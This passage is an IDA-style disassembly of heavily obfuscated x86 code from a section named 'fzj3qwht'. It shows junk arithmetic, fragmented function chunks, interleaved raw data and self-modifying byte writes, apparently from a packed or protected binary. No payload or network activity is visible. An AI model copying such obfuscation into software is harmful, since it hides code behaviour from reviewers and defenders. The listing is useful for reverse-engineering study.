FOR sub_43041D ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42F33B: ; CODE XREF: sub_431686-2A24j xor esi, 398EA582h push ecx mov ecx, offset loc_430CB2 jmp loc_42FEB9 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- loc_42F34C: ; CODE XREF: fzj3qwht:loc_43108Fj sub edx, 8875A63Eh and edx, 96965202h sub edx, 40F27304h js loc_432679 ; --------------------------------------------------------------------------- dd 8E90000h, 0FFFFFFEh, 0DB581h, 0E9318700h, 3301h, 24048700h ; CODE XREF: fzj3qwht:004326AFj dd 8B242C87h, 6C65DC5h, 77E85E8Bh, 0Eh db 0 ; --------------------------------------------------------------------------- loc_42F38D: ; CODE XREF: fzj3qwht:0042EF9Fj jmp loc_430BAB ; --------------------------------------------------------------------------- dw 0C300h dd 35B9E900h, 0C3000000h, 64C08100h, 0E92B73E9h, 657h dd 0F842820Fh, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42F3B0: ; CODE XREF: sub_431686-D23j jmp loc_430CA0 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- db 2 dup(0), 5Ah ; --------------------------------------------------------------------------- or edi, 89137F78h and eax, ebp test ebp, 70A12882h jmp loc_430130 ; --------------------------------------------------------------------------- align 4 dd 8B02C600h, 3102C65Ah, 34A9E85Ah db 3 dup(0) ; --------------------------------------------------------------------------- loc_42F3DB: ; CODE XREF: fzj3qwht:0042F1BDj jmp loc_42F5F2 ; --------------------------------------------------------------------------- dd 588D0F00h, 0C1000013h, 2A8B1BC3h, 4CE93189h, 13h, 3571B4BBh ; CODE XREF: sub_42F4AE+2A12j dd 0E9D81B18h, 120Ah, 24048799h, 8B243487h, 0C0815EC6h dd 9F74F076h, 42F02568h, 0A1DE900h, 0 ; --------------------------------------------------------------------------- mov edx, 0BCF8139h jnp loc_42F99E jmp sub_431F11 ; --------------------------------------------------------------------------- dd 3B680000h, 0E9004316h, 0B42h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD "+" TO EXPAND] dw 0E900h dd 1E7Bh, 0F7810000h, 968894FBh, 8B5FC703h, 0CA689C00h dd 59D941CBh, 2F0EE9h, 87000000h, 487241Ch, 58D88B24h dd 0E9243C87h, 0F3h, 0E7840F00h, 51000013h, 42EF49B9h dd 0FAC6E900h, 0FFFFh ; --------------------------------------------------------------------------- locret_42F480: ; CODE XREF: fzj3qwht:00432815j retn ; --------------------------------------------------------------------------- loc_42F481: ; DATA XREF: fzj3qwht:00432810o popf inc ecx add [ecx+ebx*4], ch push 0D31428Ch pop edx or edx, 0C7FFAF9Bh jmp loc_4312BC ; --------------------------------------------------------------------------- align 4 mov esi, ebp pop ebp pushf push ecx push 0D02DBA39h xchg edi, [esp] mov ecx, edi pop edi jmp loc_431D4E ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_42F4AE proc near ; CODE XREF: sub_42EE90+106Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 0042F1F8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042F2D4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042F2F0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042FBA7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042FBEB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042FCB8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042FDFB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042FE7E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043000C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430121 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043042F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043045A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00430669 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00430A70 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00430EE6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430F5C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00430FDF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004318F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431EA6 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00432243 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00432376 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043243C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004325E1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00432766 SIZE 0000000F BYTES xchg eax, [esp-8+arg_4] pop eax add ebx, ebp add ebx, 69DEF140h mov ebx, [ebx] jmp loc_42F6B2 ; --------------------------------------------------------------------------- align 2 mov [ebp+0], edx jmp loc_42F2F0 ; --------------------------------------------------------------------------- dw 0D381h dd 0AAB8E258h, 0FFFF86E9h, 3107C6FFh, 0FE12E85Fh, 0FFFFh ; --------------------------------------------------------------------------- loc_42F4E0: ; CODE XREF: sub_431452-154j jmp loc_42F1F8 ; --------------------------------------------------------------------------- align 2 cmp edx, ebp jmp loc_430669 ; --------------------------------------------------------------------------- align 2 test eax, 0C8450A3h jmp loc_431EA6 ; --------------------------------------------------------------------------- db 2 dup(0), 5Bh dd 0BF10E381h, 0C3F71BB1h, 2000h, 0FFFC1FE9h, 0C60000FFh dd 6851C300h, 6090FF8h, 0C6C98159h, 0E9CD8639h, 3047h db 0 ; --------------------------------------------------------------------------- locret_42F525: ; CODE XREF: sub_42F4AE:loc_4318F9j retn ; --------------------------------------------------------------------------- align 4 jmp loc_432766 ; --------------------------------------------------------------------------- db 2 dup(0), 57h ; CODE XREF: fzj3qwht:004311A1j ; fzj3qwht:loc_431ABEj dd 431F65BFh, 0F9A2E900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- locret_42F53B: ; CODE XREF: fzj3qwht:loc_432430j retn ; --------------------------------------------------------------------------- loc_42F53C: ; CODE XREF: fzj3qwht:00432964j jmp loc_42FE7E ; --------------------------------------------------------------------------- jmp loc_43042F ; --------------------------------------------------------------------------- dw 0E800h dd 0FFFFFA4Bh, 0D5130000h, 2042E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F556: ; CODE XREF: fzj3qwht:00430C0Cj add eax, ebx call sub_43098E ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFF9B1h, 24B800Fh, 0DA1B0000h, 2815E9h db 0 ; --------------------------------------------------------------------------- locret_42F571: ; CODE XREF: fzj3qwht:loc_4322E3j retn ; --------------------------------------------------------------------------- align 4 jmp nullsub_147 ; --------------------------------------------------------------------------- db 0Fh, 8Eh, 0B6h dd 0E900001Dh, 0FFFFF444h ; --------------------------------------------------------------------------- locret_42F584: ; CODE XREF: fzj3qwht:loc_4311DCj retn ; --------------------------------------------------------------------------- jmp nullsub_148 ; --------------------------------------------------------------------------- xchg edx, eax jnp loc_42F2D4 jmp sub_4309EE ; --------------------------------------------------------------------------- align 4 jnb loc_43141A jmp loc_430F5C ; --------------------------------------------------------------------------- xchg ebp, [esp-0Ch+arg_8] mov ebx, offset loc_42FDEC jmp loc_430A70 ; --------------------------------------------------------------------------- locret_42F5B0: ; CODE XREF: sub_4316FE:loc_43249Cj retn ; --------------------------------------------------------------------------- align 2 loc_42F5B2: ; CODE XREF: fzj3qwht:0042EE36j mov byte ptr [eax], 9Ch pop eax xor eax, 0CAC7E5B1h add eax, 4FB77B60h add eax, ebp push offset sub_4301B7 jmp loc_430FDF ; --------------------------------------------------------------------------- dw 8100h ; CODE XREF: sub_43239B+Aj dd 913564EAh, 13C2C15Dh, 5E47EA81h, 0F2811637h, 0E6B0A611h dd 0C281D503h, 1FF958DCh, 2212E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F5F2: ; CODE XREF: fzj3qwht:loc_42F3DBj mov byte ptr [edi], 87h pop edi mov ecx, ebx xchg edx, [esp-10h+arg_C] mov ebx, edx jmp loc_432243 ; --------------------------------------------------------------------------- align 4 dd 28E9D133h, 0FFFFF4h, 0BF118900h, 0B564A4B2h, 2E01E9h dd 242C8700h, 0F8126856h, 535E6E5Dh, 431B2EBBh, 0FF19E900h dd 0FFFFh, 1487EA87h, 51685A24h, 5A9C028Ch, 0E917C2C1h dd 1353h, 0C2810000h, 84566374h, 1487128Bh, 174C6824h dd 90E90043h, 0FFFFF5h, 3A8C0F00h, 13000004h, 0C1CD1BE8h dd 0DEE91EC9h, 1Dh db 0 ; --------------------------------------------------------------------------- loc_42F671: ; CODE XREF: sub_430C8C:loc_42F2A8j push ecx mov ecx, esi xchg ecx, [esp-0Ch+arg_8] jmp loc_430EE6 ; --------------------------------------------------------------------------- dd 0BDE95D00h, 1Bh, 430E5F68h, 2D3FE900h, 4AB80000h, 0E9FFF4D5h dd 14B4h, 8C0F0000h, 8E1h, 0A8E90000h, 3FFFFFBh, 0E93087F0h dd 8D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F6B2: ; CODE XREF: sub_42F4AE+Ej popf push offset loc_430D85 jmp loc_4318F9 sub_42F4AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h ; CODE XREF: fzj3qwht:004302EAj dd 5BE90000h, 2Dh, 8702C600h, 0F7C2815Ah, 870AC332h, 0FAE92414h ; CODE XREF: fzj3qwht:loc_431F03j dd 0Bh, 0AE0C100h, 0FFF394E9h, 0E9C300FFh, 29FFh, 0E90B8900h dd 2FC0h, 0D209108Bh, 261C840Fh, 0E9520000h, 2F02h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_42F706: ; CODE XREF: sub_43041D:loc_42F88Aj add edx, ebx pop ebx mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jnz loc_42F32C jmp sub_430B68 ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- jmp loc_42F32C ; --------------------------------------------------------------------------- align 10h dd 240C8700h, 24148759h, 0FFF108E9h, 8B5500FFh, 27C6E9EFh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_42F736: ; CODE XREF: sub_42FA52+7j jge loc_43191A loc_42F73C: ; CODE XREF: sub_42F263+10j jmp loc_4317D6 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- align 2 dw 0F0E9h dd 0FFFFFAh, 0AFF68199h, 0E907A695h, 21C6h, 0C30000h, 0A1C08100h dd 3D14EE7h, 0BFBE56C5h, 0E90042FAh, 669h, 59240C87h, 4326F968h dd 2D18E900h, 0 db 0C6h ; Æ db 3 db 1 db 87h ; ‡ db 2Ch ; , db 24h ; $ db 8Bh ; ‹ db 0DDh ; Ý db 5Dh ; ] db 0ACh ; ¬ db 0FDh ; ý db 0C2h ;  db 0E9h ; é db 0B8h ; ¸ dw 0FFF3h dd 0A85000FFh, 363A5868h, 0C0C158D1h, 0B0C0810Bh, 0E84E7061h dd 2BAAh, 66E90000h, 0E9000006h, 0FFFFF589h, 0C30000h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4312D7 loc_42F7B5: ; CODE XREF: sub_4312D7+Ej jmp loc_4302A9 ; END OF FUNCTION CHUNK FOR sub_4312D7 ; --------------------------------------------------------------------------- jmp loc_430D55 ; --------------------------------------------------------------------------- jz loc_431232 jmp sub_42FC3B ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_430E27 loc_42F7CC: ; CODE XREF: sub_430E27:loc_42FD05j mov byte ptr [edi], 9Ch pop edi mov [esi], eax pop esi loc_42F7D3: ; DATA XREF: sub_430E27+4o mov esp, 0EDB12368h mov esp, 4AC88158h db 64h mov ch, 0B9h jmp loc_431FD9 ; END OF FUNCTION CHUNK FOR sub_430E27 ; --------------------------------------------------------------------------- align 2 loc_42F7E6: ; CODE XREF: fzj3qwht:0042EA20j xchg eax, [esp] xchg edi, [esp] mov eax, edi pop edi jmp loc_431475 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_42F7F7: ; CODE XREF: fzj3qwht:0042E917j retn ; --------------------------------------------------------------------------- jmp loc_43132E ; --------------------------------------------------------------------------- loc_42F7FD: ; DATA XREF: fzj3qwht:0042E912o push offset byte_4319A1 jmp loc_42EA3F ; --------------------------------------------------------------------------- align 4 dd 81D60300h, 68454AC1h, 98B9D23h, 0F2F4F8BAh, 0FCC031F1h dd 0FFFEA1E9h, 41C381FFh, 687A32CFh, 431491h, 2518E9h dd 8DC38100h, 0E97C73ADh, 26Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F83E: ; DATA XREF: sub_430F2A:loc_43246Co mov byte ptr [eax], 2Ch pop eax add eax, 1076046Fh mov eax, [eax] popf mov al, [eax] loc_42F84D: ; DATA XREF: sub_430F2A+5o mov ch, 99h jmp loc_42F9FA ; --------------------------------------------------------------------------- dd 0D3C28100h, 0E9D774F6h, 1540h, 0F1880F00h, 28h, 752E9h dd 0EBC10000h, 28DEE91Ah, 0F000000h, 6568Ah, 0D31E900h db 3 dup(0) ; --------------------------------------------------------------------------- loc_42F883: ; CODE XREF: fzj3qwht:00432855j jl loc_4306CE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_42F88A: ; CODE XREF: sub_43041D+E9j jmp loc_42F706 ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- align 10h add ecx, ebp jmp loc_4306C7 ; --------------------------------------------------------------------------- db 68h dd offset loc_430B9B dd 0FFF283E9h, 0F0000FFh, 18F83h db 0 ; =============== S U B R O U T I N E ======================================= sub_42F8A9 proc near ; CODE XREF: sub_42EFCF+1504p ; FUNCTION CHUNK AT 00432782 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi pop esi jmp loc_432782 sub_42F8A9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 loc_42F8B4: ; CODE XREF: fzj3qwht:004312D0j mov byte ptr [esi], 9Dh pop esi pop edx rol edx, 17h or edx, 0E57584B0h call sub_430C13 ; --------------------------------------------------------------------------- db 0 db 0 db 0C6h ; Æ db 1 db 3 db 59h ; Y db 0E8h ; è db 71h ; q db 14h db 0 db 0 db 0 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0E9h dd 2A98h, 58240487h, 4F6E85Fh ; CODE XREF: fzj3qwht:loc_4322FEj db 3 dup(0) ; --------------------------------------------------------------------------- loc_42F8E7: ; CODE XREF: fzj3qwht:loc_430A55j and eax, 470262A5h sub eax, 0A33EDB30h rol eax, 0Eh call sub_431E69 add cl, ch ; CODE XREF: sub_431E7D+7j cdq and eax, 3AE90000h sub [eax], al ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- sub ebx, eax xchg ebp, esi jmp loc_43103F ; --------------------------------------------------------------------------- align 2 loc_42F912: ; CODE XREF: fzj3qwht:0042EB2Cj call sub_43060A add cl, ch sahf add cs:[eax], al call near ptr dword_42E9A4+24h ; START OF FUNCTION CHUNK FOR sub_43041D loc_42F922: ; CODE XREF: sub_43041D+Bj jmp loc_4304E8 ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- jmp loc_4321D4 ; --------------------------------------------------------------------------- dd 0E9030000h, 371E9h, 992C0000h, 0FFA73768h, 0EA815A86h dd 664A2151h, 9397CA81h, 0D8E910DFh, 0FFFFFFh, 82E9D60Bh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430E46 loc_42F957: ; CODE XREF: sub_430E46+7j ; DATA XREF: fzj3qwht:004312CBo aas mov eax, [ebp-0Ch] mov esp, ebp call sub_4328BA add cl, ch adc al, 12h ; END OF FUNCTION CHUNK FOR sub_430E46 ; --------------------------------------------------------------------------- dw 0 db 0 ; --------------------------------------------------------------------------- loc_42F969: ; CODE XREF: fzj3qwht:0043094Dj jmp loc_42F9D9 ; --------------------------------------------------------------------------- align 10h dd 0FFFFC1E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4316FE loc_42F975: ; CODE XREF: sub_4316FE:loc_42ED04j mov ebp, esp push offset sub_42FF6B jmp loc_43249C ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- locret_42F981: ; CODE XREF: fzj3qwht:loc_4318C2j retn ; --------------------------------------------------------------------------- align 4 loc_42F984: ; CODE XREF: fzj3qwht:00432176j jmp loc_431270 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 2922h, 8BDE9h, 87000000h, 875F243Ch ; --------------------------------------------------------------------------- sbb al, 24h loc_42F99E: ; CODE XREF: fzj3qwht:0042F421j jmp loc_431113 ; --------------------------------------------------------------------------- align 4 dd 0E9B56800h, 2CA6E4C0h, 2AE95524h, 0FFFFFDh, 4421EF81h dd 2FE94242h, 11h, 0F320800Fh, 82E9FFFFh, 1Ah, 2EE85300h dd 10h, 1BD9E9h db 0 ; --------------------------------------------------------------------------- loc_42F9D9: ; CODE XREF: fzj3qwht:loc_42F969j push offset loc_42FDB1 jmp near ptr dword_42E794+6Fh ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42F188 loc_42F9E4: ; CODE XREF: sub_42F188:loc_43197Dj jl loc_431C6F not ebx jmp loc_431C6E ; END OF FUNCTION CHUNK FOR sub_42F188 ; --------------------------------------------------------------------------- align 2 locret_42F9F2: ; CODE XREF: fzj3qwht:0042E78Dj retn ; --------------------------------------------------------------------------- align 4 dd 1D8EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F9FA: ; CODE XREF: fzj3qwht:0042F84Fj jmp loc_4313CB ; --------------------------------------------------------------------------- jmp loc_430043 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42FA05: ; DATA XREF: fzj3qwht:0042E788o jmp loc_4313EB ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_42FA0B: ; CODE XREF: fzj3qwht:0042E782j retn ; --------------------------------------------------------------------------- dd 8B520000h, 0FDA4E9D5h, 0F00FFFFh, 16189h, 0B68AC00h dd 0E9004326h, 0D36h, 3C2C100h, 431B6E68h, 0FB3EE900h dd 0FFFFh, 810CC3C1h, 773950F3h, 0B5CB8160h, 6802CC75h dd 42F831h, 1DB1E9h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42FA52 proc near ; CODE XREF: fzj3qwht:004318D2p var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0042F736 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042FE43 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004303A4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004317D6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043191A SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00431F49 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004320C3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043273D SIZE 00000005 BYTES xchg eax, [esp+0] pop eax cmp ebx, edi pop edi jmp loc_42F736 sub_42FA52 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ebx, [esp] push edx mov edx, offset loc_4322CD jmp loc_43025A ; --------------------------------------------------------------------------- db 0 byte_42FA6D db 87h, 14h, 24h ; DATA XREF: fzj3qwht:loc_42FEECo db 8Bh, 0DAh, 5Ah byte_42FA73 db 3Ah ; DATA XREF: fzj3qwht:0042F15Co dd 0F08B2404h, 8B242C87h, 0F148E9C5h, 8100FFFFh, 0BDE2B5C9h ; CODE XREF: fzj3qwht:00432367j dd 0BC18190h db 14h, 2, 26h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_42FA8F: ; CODE XREF: sub_4301B7-14A2j push offset loc_43018A jmp locret_4314FA ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- loc_42FA99: ; CODE XREF: fzj3qwht:00431B68j mov byte ptr [ecx], 3 pop ecx push 42EC12h jmp loc_4318C2 ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- align 2 dw 3C6h dd 243C8788h, 0E85FDF8Bh, 0FFFFF125h ; --------------------------------------------------------------------------- loc_42FAB8: ; CODE XREF: fzj3qwht:0042EFE8j jmp loc_42F2D4 ; --------------------------------------------------------------------------- db 2 dup(0), 2Fh ; CODE XREF: fzj3qwht:loc_431720j dd 6800FF9h, 0E8FFFFFFh, 2C1Eh ; --------------------------------------------------------------------------- locret_42FACC: ; CODE XREF: fzj3qwht:00431896j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42FACF: ; CODE XREF: fzj3qwht:loc_43128Ej jmp loc_4318C9 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB56 loc_42FAD6: ; CODE XREF: sub_42EB56:loc_4324E3j and esi, 4716E5DCh add esi, 0A5E7B023h jnb near ptr loc_43261D+5 ; END OF FUNCTION CHUNK FOR sub_42EB56 ; --------------------------------------------------------------------------- dd 0EA330000h, 22A8E9h, 87000000h, 815E2434h, 1384F2C0h dd 0E9008B62h, 26A6h db 0 ; --------------------------------------------------------------------------- loc_42FB05: ; CODE XREF: fzj3qwht:0042ED6Ej jl near ptr dword_42E794+8 add [ebx], bh jmp near ptr 2F7BFBh ; --------------------------------------------------------------------------- inc dword ptr [eax] add bl, al xchg edx, [ebx] jmp sub_430C13 ; --------------------------------------------------------------------------- align 2 locret_42FB1E: ; CODE XREF: fzj3qwht:00430847j retn ; --------------------------------------------------------------------------- align 10h db 0, 0FFh, 0D0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42FB23: ; CODE XREF: sub_431686-2A3Dj ; fzj3qwht:loc_4316B5j push (offset loc_431AE0+1) jmp loc_431A12 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_42FB2D: ; CODE XREF: sub_430F48:loc_43167Bj mov edi, eax xchg edi, [esp+0] call near ptr dword_42E8AC+15h imul eax, [eax], 0F68FE900h ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0E8h ; --------------------------------------------------------------------------- retf 0FFFEh ; --------------------------------------------------------------------------- db 0FFh dd 0EA5E8h, 0F000000h, 0FFFCD08Dh, 0D61B00FFh, 9E3C158h dd 0DB81F503h, 63B5A574h, 0FFFCBCE9h, 870000FFh, 0FF5F243Ch dd 42A0C015h, 147BE900h, 0 ; --------------------------------------------------------------------------- jmp loc_431E94 ; --------------------------------------------------------------------------- align 2 push eax mov eax, offset loc_43122D jmp loc_432467 ; --------------------------------------------------------------------------- align 2 push 0BAB1DE92h jmp loc_430307 ; --------------------------------------------------------------------------- dd 0E7810000h, 7645C2F7h, 0EC14D981h, 0DEE965F6h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FBA7: ; CODE XREF: sub_42F4AE+2A00j cdq xor ebx, edi jmp loc_42FDFB ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- loc_42FBAF: ; DATA XREF: sub_42FA52+1D8Ao add esi, ebp push ecx mov ecx, offset byte_431907 jmp loc_42ED96 ; --------------------------------------------------------------------------- dd 14870000h, 5A595224h, 8B241C87h, 27EE9EBh, 0 dword_42FBD0 dd 21E8595Eh, 8BFFFFEAh, 0C38B5010h, 68240487h, 55798B1h ; DATA XREF: fzj3qwht:0042ED39o dd 0FFF912E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FBEB: ; CODE XREF: sub_42F4AE+95Dj xor edx, 2F565DD7h xchg edx, [esp-0Ch+arg_8] lea eax, [ebp-81h] push ebx push eax pop ebx adc al, 1Ch and al, 0E9h xchg dh, dh ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 0FFh dd 990000FFh, 0C257C581h, 0C2E93627h, 0FFFFF0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_42FC14: ; CODE XREF: sub_4301B7-1496j add ecx, 50B0E746h popf cdq call sub_42ED87 ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h dd 14870000h, 4875A24h, 0C88B5124h, 9C240C87h, 15D5E9h db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42FC3B proc near ; CODE XREF: fzj3qwht:0042F7C5j ; fzj3qwht:0043229Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h ; FUNCTION CHUNK AT 004307B9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00430878 SIZE 00000009 BYTES xchg ecx, [esp+0] pop ecx lea eax, nullsub_134 mov byte ptr [eax], 0C3h call near ptr loc_4304D8+1 rol edx, 15h jmp loc_4307B9 sub_42FC3B endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 loc_42FC56: ; CODE XREF: fzj3qwht:00431993j mov byte ptr [edx], 57h pop edx pop esi push esi mov esi, ebp xchg esi, [esp] pop ebx in al, dx push eax jmp loc_4302C3 ; --------------------------------------------------------------------------- align 2 xchg ebp, [esp] push 3438DB61h xchg ebp, [esp] mov esi, ebp pop ebp add esi, 0C225606h jmp loc_431F0A ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_42FC85: ; CODE XREF: sub_4301AC+1BD3j jl loc_431CC5 ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- db 0 dd 1C860F00h, 0E9000024h, 2028h, 0B78D0F00h, 0E9FFFFEFh dd 0FFFFF6D5h, 3C870000h, 45C65F24h, 45FF2DE0h, 1B6FE8F0h dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FCB8: ; CODE XREF: sub_42F4AE:loc_432243j pop edx fistp [esp-0Ch+arg_8] push ebx pop ebp pop ebx retn ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432090 loc_42FCC1: ; CODE XREF: sub_432090+Bj jmp loc_42FDEC ; END OF FUNCTION CHUNK FOR sub_432090 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_42FCC8 proc near ; CODE XREF: sub_4309EE+4p ; fzj3qwht:loc_431113j push 131AFD00h jmp near ptr dword_42EDF4+21h sub_42FCC8 endp ; --------------------------------------------------------------------------- dw 9900h ; --------------------------------------------------------------------------- xchg edi, [esp] pop edi jmp loc_4322FE ; --------------------------------------------------------------------------- xchg esi, [esp] push eax jmp loc_431C47 ; --------------------------------------------------------------------------- dw 300h db 0DDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_42FCE9: ; CODE XREF: sub_431452-1114j add ebx, 3195D621h db 64h add ebp, eax mov esi, ebp ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- dd 0FFFFh, 42F00268h, 0F9A0E900h db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430E27 loc_42FD05: ; CODE XREF: sub_430E27+9j jmp loc_42F7CC ; END OF FUNCTION CHUNK FOR sub_430E27 ; --------------------------------------------------------------------------- dw 0E900h dd 64Bh, 879D3F8Bh, 9C51243Ch, 0A274868h, 96E9594Ch, 87000002h dd 0C65B241Ch, 34879D02h, 5ED68B24h, 9302E881h, 0C0C1DE75h dd 0ADBE919h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF6B loc_42FD40: ; CODE XREF: sub_42FF6B:loc_431630j mov esi, offset loc_42FE11 jmp loc_42EFB2 ; END OF FUNCTION CHUNK FOR sub_42FF6B ; --------------------------------------------------------------------------- mov byte ptr [eax], 87h pop eax pop edx or edx, 3E95D7B0h sub edx, 6407E5BDh add edx, 0EF58EF1h jmp loc_430758 ; --------------------------------------------------------------------------- align 4 dd 870F03C6h, 0DE8B2434h, 0FB8BE95Eh, 5F00FFFFh, 811AC7C1h dd 73D044E7h, 9B46848h, 80E90043h, 2, 0E9FE8500h, 0FFFFEDD7h ; --------------------------------------------------------------------------- loc_42FD94: ; DATA XREF: fzj3qwht:004311ABo push 5F2BA5EBh xchg ebp, [esp] mov edi, ebp pop ebp sub edi, 2CAFB784h or edi, 896749B1h jmp loc_4321A3 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42FDB1: ; DATA XREF: fzj3qwht:loc_42F9D9o add ecx, ebp add ecx, 12FE9F75h mov [ecx], eax xchg edi, [esp] mov ecx, edi pop edi jmp loc_43038B ; 